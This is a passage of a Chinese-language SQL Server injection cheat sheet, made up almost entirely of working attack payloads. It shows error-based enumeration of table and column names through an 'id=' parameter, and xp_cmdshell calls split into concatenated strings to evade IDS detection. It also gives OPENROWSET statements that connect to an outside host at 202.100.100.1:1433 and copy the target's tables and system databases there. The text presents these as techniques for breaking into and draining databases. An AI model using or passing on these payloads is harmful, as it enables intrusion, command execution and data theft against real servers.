出,直到没有为止。
读字段是这样:
id=1552;update aaa set aaa=(select top 1 col_name(object_id(''表名''),1));--
然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名
id=1552;update aaa set aaa=(select top 1 col_name(object_id(''表名''),2));--
然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名
--------------------------------高级技巧:
[获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名]
update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>''你得到的表名'' 查出一个加一个]) [ where 条件]
select top 1 name from sysobjects where xtype=u and status>0 and name not in(''table1'',''table2'',…)
通过SQLSERVER注入漏洞建数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]
[获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名]
update 表名 set 字段=(select top 1 col_name(object_id(''要
查询的数据表名''),字段列如:1) [ where 条件]
绕过IDS的检测[使用变量]
declare @a sysname set @a=''xp_''+''cmdshell'' exec @a ''dir c:\''
declare @a sysname set @a=''xp''+''_cm''+''dshell'' exec @a ''dir c:\''
1、 开启远程数据库
基本语法
select * from OPENROWSET(''SQLOLEDB'', ''server=servername;uid=sa;pwd=apachy_123'', ''select * from table1'' )
参数: (1) OLEDB Provider name
2、 其中连接字符串参数可以是任何和端口用来连接,比如
select * from OPENROWSET(''SQLOLEDB'', ''uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;'', ''select * from table''
要复制目标主机的整个数据库,首先要在目标主机上和自己机器上的数据库建立连接(如何在目标主机上建立远程连接,刚才已经讲了),之后insert所有远程表到本地表。
基本语法:
insert into OPENROWSET(''SQLOLEDB'', ''server=servername;uid=sa;pwd=apachy_123'', ''select * from table1'') select * from table2
这行语句将目标主机上table2表中的所有数据复制到远程数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口,指向需要的地方,比如:
insert into OPENROWSET(''SQLOLEDB'', ''uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;'', ''select * from table1'') select * from table2
insert into OPENROWSET(''SQLOLEDB'', ''uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=202.100.100.1,1433;'', ''select * from _sysdatabases'')
select * from master.dbo.sysdatabases
insert into OPENROWSET(''SQLOLEDB'', ''uid=sa